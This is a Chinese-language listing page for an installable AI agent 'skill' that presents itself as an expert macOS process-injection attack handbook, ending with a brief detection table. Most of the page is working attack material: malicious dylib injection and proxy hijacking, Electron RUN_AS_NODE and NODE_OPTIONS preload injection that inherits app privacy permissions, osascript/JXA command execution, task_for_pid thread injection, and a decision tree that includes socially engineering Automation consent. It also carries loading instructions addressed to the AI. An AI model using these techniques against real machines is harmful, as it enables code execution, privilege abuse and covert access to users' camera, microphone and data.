mcpField
M
macos-process-injection

macos-process-injection

github.com/yaklang安全2.6k3.5k 次安装6 周前更新
代码仓库

关于 macos-process-injection

面向安全测试人员的 macOS 进程注入技能,梳理各类注入路径、前置条件与检测痕迹,涵盖原生程序、XPC、Mach 和 Electron 攻击面。

主要功能

  1. 01DYLD 环境变量注入条件
  2. 02弱 dylib 与 @rpath 劫持
  3. 03XPC PID 校验弱点
  4. 04Mach 端口与 MIG 攻击面
  5. 05Electron 注入与检测线索

适用场景

  1. 01评估目标程序的 dylib 可劫持性
  2. 02检查 XPC 服务的客户端校验
  3. 03分析 Electron 应用的注入入口

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill macos-process-injection

安装后在 Claude Code 中输入/macos-process-injection确认已加载。

附带文件DYLIB_XPC_TECHNIQUES.md

详细介绍

技能:macOS 进程注入——专家攻击手册

AI 加载指令:macOS 专家级进程注入技术。涵盖 DYLD_INSERT_LIBRARIES、dylib 劫持(弱链接/rpath/代理)、XPC PID 复用攻击、Mach 端口操作、MIG 滥用和 Electron 注入。基础模型容易忽略注入向量的权限要求和 SIP 限制。

0. 相关路由

在深入研究前,可考虑加载:

高级参考

在需要以下内容时,也加载 DYLIB_XPC_TECHNIQUES.md:

  • 使用工具命令逐步讲解 dylib 劫持方法
  • 附带代码示例的 XPC 利用流程
  • Mach 端口技术细节和 task_for_pid 模式

1. DYLD_INSERT_LIBRARIES 注入

最直接的注入方式:设置一个环境变量,强制动态链接器预加载你的 dylib。

1.1 要求和限制
条件可以注入?原因
普通(非强化运行时)二进制文件可以没有限制
已启用强化运行时不可以DYLD 会清除环境变量
强化运行时 + com.apple.security.cs.allow-dyld-environment-variables可以权限明确允许
Apple 系统二进制文件(受 SIP 保护)不可以SIP 会清除 DYLD 环境变量
SUID/SGID 二进制文件不可以出于权限安全考虑,DYLD 环境变量会被清除
已启用 App Sandbox不可以沙盒会阻止环境变量注入
1.2 基本注入
# Create malicious dylib
cat > inject.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void inject() {
    printf("[+] Injected into PID %d\n", getpid());
    // payload here
}
EOF

# Compile for both architectures
gcc -dynamiclib -o inject.dylib inject.c -arch x86_64 -arch arm64

# Inject into target
DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/target
1.3 查找可注入目标
# Find apps WITHOUT hardened runtime
find /Applications -name "*.app" -exec sh -c '
  binary=$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
  if [ -n "$binary" ]; then
    flags=$(codesign -d --verbose "$1/Contents/MacOS/$binary" 2>&1)
    echo "$flags" | grep -q "runtime" || echo "No Hardened Runtime: $1"
  fi
' _ {} \;

# Find apps with dyld env var entitlement
find /Applications -name "*.app" -exec sh -c '
  binary="$1/Contents/MacOS/"$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
  codesign -d --entitlements :- "$binary" 2>/dev/null | \
    grep -q "allow-dyld-environment-variables" && echo "DYLD injectable: $1"
' _ {} \;

2. DYLIB 劫持

利用动态链接器的库搜索顺序,加载攻击者控制的 dylib,以替代或补充合法库。

2.1 弱 dylib 劫持(LC_LOAD_WEAK_DYLIB)

弱 dylib 是可选的——如果缺失,二进制文件仍可运行。如果能将 dylib 放到预期路径,它就会被加载。

# Find binaries with weak dylib references
otool -l /path/to/binary | grep -A 2 LC_LOAD_WEAK_DYLIB

# Check if the weak dylib actually exists
otool -L /path/to/binary | grep weak | while read lib rest; do
  [ ! -f "$lib" ] && echo "MISSING (hijackable): $lib"
done
2.2 @rpath 劫持

@rpath 根据二进制文件中的 LC_RPATH 条目解析。如果较早的 rpath 目录可写,就可以将 dylib 放在那里。

# List rpath entries
otool -l /path/to/binary | grep -A 2 LC_RPATH

# List rpath-relative dylib references
otool -L /path/to/binary | grep @rpath

# If rpath includes writable directory (e.g., app's Frameworks/)
# place malicious dylib with matching name there
2.3 Dylib 代理

用恶意 dylib 替换合法 dylib,并让它将所有导出转发给原始库。

# Step 1: Identify target dylib and its exports
nm -gU /path/to/original.dylib | awk '{print $3}'

# Step 2: Create proxy dylib that re-exports everything
# Move original to original_real.dylib
# Create proxy:
cat > proxy.c << 'EOF'
__attribute__((constructor))
void payload() {
    // malicious code here
}
EOF

gcc -dynamiclib -o hijacked.dylib proxy.c \
  -Wl,-reexport_library,/path/to/original_real.dylib \
  -arch x86_64 -arch arm64
2.4 依赖项枚举
otool -L /path/to/binary              # List all dylib dependencies
otool -l /path/to/binary              # Full load commands (rpaths, weak, etc.)
dyldinfo -print_dependencies /path/to/binary  # Detailed dependency info (pre-Ventura)

3. XPC 利用

XPC(跨进程通信)是 macOS 用于权限隔离的主要 IPC 机制。特权 XPC 服务是高价值目标。

3.1 XPC 服务发现
# System XPC services
find /System/Library -name "*.xpc" -type d 2>/dev/null | head -20

# Third-party XPC services
find /Library /Applications -name "*.xpc" -type d 2>/dev/null

# LaunchDaemon XPC services (root-level)
grep -r "MachServices" /Library/LaunchDaemons/*.plist 2>/dev/null
grep -r "MachServices" /System/Library/LaunchDaemons/*.plist 2>/dev/null
3.2 PID 复用攻击

通过 PID 验证的 XPC 连接容易受到竞态条件影响:攻击者启动进程,PID 检查通过后,攻击者的进程退出,操作系统将该 PID 复用于恶意进程。

验证方式是否易受攻击?说明
基于 PID 的检查是进程退出后 PID 会被回收
审计令牌否每个进程生命周期内唯一,不会被回收
代码签名检查否验证签名身份
权限检查否检查进程权限
Timeline of PID reuse attack:
1. Legitimate client (PID 1234) connects to XPC service
2. XPC service checks PID 1234 → valid
3. Legitimate client exits (PID 1234 freed)
4. Attacker rapidly forks to get PID 1234
5. Attacker's process (now PID 1234) sends malicious XPC message
6. XPC service trusts PID 1234 (cached validation)
3.3 XPC 客户端验证弱点
弱点描述利用方式
未验证客户端服务接受任何连接直接连接并发送命令
仅验证 PID可利用竞态条件PID 复用攻击(§3.2)
仅检查 Bundle IDBundle ID 可以伪造创建具有匹配 Bundle ID 的应用
代码要求不完整缺少 anchor 检查使用任何符合部分要求的证书签名
在错误的进程上检查权限检查父进程而非客户端从具有相应权限的父进程启动

4. MACH 端口操作

Mach 端口是 XPC 底层的内核级 IPC 基元。直接访问 Mach 端口可以实现强大的注入能力。

4.1 Task 端口(task_for_pid)
// Requires root or taskgated entitlement
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr == KERN_SUCCESS) {
    // Can now read/write target process memory
    // Can inject threads via thread_create_running
}
访问方式要求利用后的能力
task_for_pid()Root + 目标未受 SIP 保护完整的内存读写权限、线程注入
processor_set_tasks()Root + com.apple.system-task-ports枚举所有 Task 端口
异常端口通过 task_set_exception_ports 设置捕获目标崩溃、重定向执行
线程注入已获取 Task 端口在目标地址空间中创建新线程
4.2 端口命名空间操纵
技术说明
猜测端口名称Mach 端口名称是连续整数,在某些情况下可以暴力破解
mach_port_insert_right向目标的命名空间中插入发送权限(需要 Task 端口)
滥用 Bootstrap 服务在合法服务注册前注册服务名称 → 拦截连接

5. 滥用 MIG(MACH 接口生成器)

MIG 会为 Mach IPC 生成 C 存根。MIG 服务端的分发例程可能存在漏洞。

5.1 分析方法
# Find MIG subsystems in a binary
nm /path/to/binary | grep _subsystem
strings /path/to/binary | grep "MIG"

# Identify MIG routine dispatch tables
otool -tV /path/to/binary | grep -A 5 "server_routine"
5.2 常见 MIG 漏洞
漏洞说明
缺少审计令牌验证MIG 处理程序不会验证发送方身份
类型混淆MIG 反序列化会信任客户端提供的类型描述符
端口生命周期问题MIG 调用之间的 Mach 端口发生释放后使用
OOL(带外)内存滥用OOL 描述符过大 → 内核内存问题

6. ELECTRON / CHROMIUM 注入

许多 macOS 应用使用 Electron(Slack、Discord、VS Code、Teams 等)。Electron 应用会暴露多个注入面。

6.1 ELECTRON_RUN_AS_NODE
# Turns Electron app into a plain Node.js runtime
ELECTRON_RUN_AS_NODE=1 "/Applications/Slack.app/Contents/MacOS/Slack" -e \
  "require('child_process').execSync('id').toString()"

# This inherits the app's TCC permissions!
# If Slack has camera/mic/screen recording, your code gets it too.
6.2 调试标志
# Open Chrome DevTools protocol on the app
"/Applications/Target.app/Contents/MacOS/Target" --inspect=9229
# Then connect: chrome://inspect in Chrome browser

# Break before any code runs
"/Applications/Target.app/Contents/MacOS/Target" --inspect-brk=9229
6.3 NODE_OPTIONS 注入
# Inject preload script via NODE_OPTIONS
echo 'require("child_process").execSync("id > /tmp/pwned")' > /tmp/preload.js
NODE_OPTIONS="--require /tmp/preload.js" "/Applications/Target.app/Contents/MacOS/Target"
6.4 Electron 熔断开关

现代 Electron 应用使用“熔断开关”来禁用危险功能。检查熔断开关状态:

熔断开关启用时(安全)禁用时(可利用)
RunAsNodeELECTRON_RUN_AS_NODE 被移除可以将应用用作 Node.js
EnableNodeCliInspectArguments--inspect 标志被移除可以附加调试器
EnableNodeOptionsEnvironmentVariableNODE_OPTIONS 被移除可以注入预加载项
OnlyLoadAppFromAsar仅从 .asar 加载可以替换 JS 文件
# Check electron fuse status (requires npx @electron/fuses)
npx @electron/fuses read --app "/Applications/Target.app"

7. 应用脚本编写(APPLE EVENTS)

# Inject via osascript (if Automation permission exists)
osascript -e 'tell application "Terminal" to do script "id > /tmp/pwned"'

# JavaScript for Automation (JXA)
osascript -l JavaScript -e '
  var app = Application("Terminal");
  app.doScript("id > /tmp/pwned");
'

# JXA with ObjC bridge (powerful)
osascript -l JavaScript -e '
  ObjC.import("Cocoa");
  var task = $.NSTask.alloc.init;
  task.launchPath = "/bin/bash";
  task.arguments = ["-c", "id > /tmp/pwned"];
  task.launch;
'

8. 进程注入决策树

Need to inject code into macOS process
│
├── Target uses Electron?
│   ├── Fuses disabled? → ELECTRON_RUN_AS_NODE (§6.1)
│   ├── Debugging available? → --inspect flag (§6.2)
│   ├── NODE_OPTIONS not stripped? → preload injection (§6.3)
│   └── All fuses on? → check dylib path or XPC
│
├── Target has dylib env var entitlement?
│   └── Yes → DYLD_INSERT_LIBRARIES (§1)
│
├── Target has missing or weak dylib?
│   ├── LC_LOAD_WEAK_DYLIB with missing lib? → place dylib (§2.1)
│   ├── @rpath with writable dir first in search? → rpath hijack (§2.2)
│   └── Existing dylib in writable location? → dylib proxy (§2.3)
│
├── Target exposes XPC service?
│   ├── No client validation? → connect directly (§3.3)
│   ├── PID-only validation? → PID reuse attack (§3.2)
│   └── Audit token validation? → need different vector
│
├── Have root access?
│   ├── Target not SIP-protected? → task_for_pid injection (§4.1)
│   └── SIP-protected? → need SIP bypass first (→ macos-security-bypass)
│
├── Can use Apple Events?
│   ├── Automation permission for target? → osascript injection (§7)
│   └── No permission? → social engineer Automation consent
│
└── None of the above?
    ├── Check for MIG server vulnerabilities (§5)
    └── Look for bootstrap server name collision (§4.2)

9. 检测与取证

证据检查位置
使用 DYLD_INSERT_LIBRARIES进程环境(/proc/PID/environ、ps eww)
加载了意外的动态库vmmap PID 或 DYLD_PRINT_LIBRARIES=1 输出
XPC 连接异常Endpoint Security 的 es_event_type_t XPC 事件
Electron 调试端口处于开放状态lsof -i :9229
osascript 执行统一日志:log show --predicate 'process=="osascript"'
执行未签名代码codesign --verify 失败、Gatekeeper 日志

评论

支持 Markdown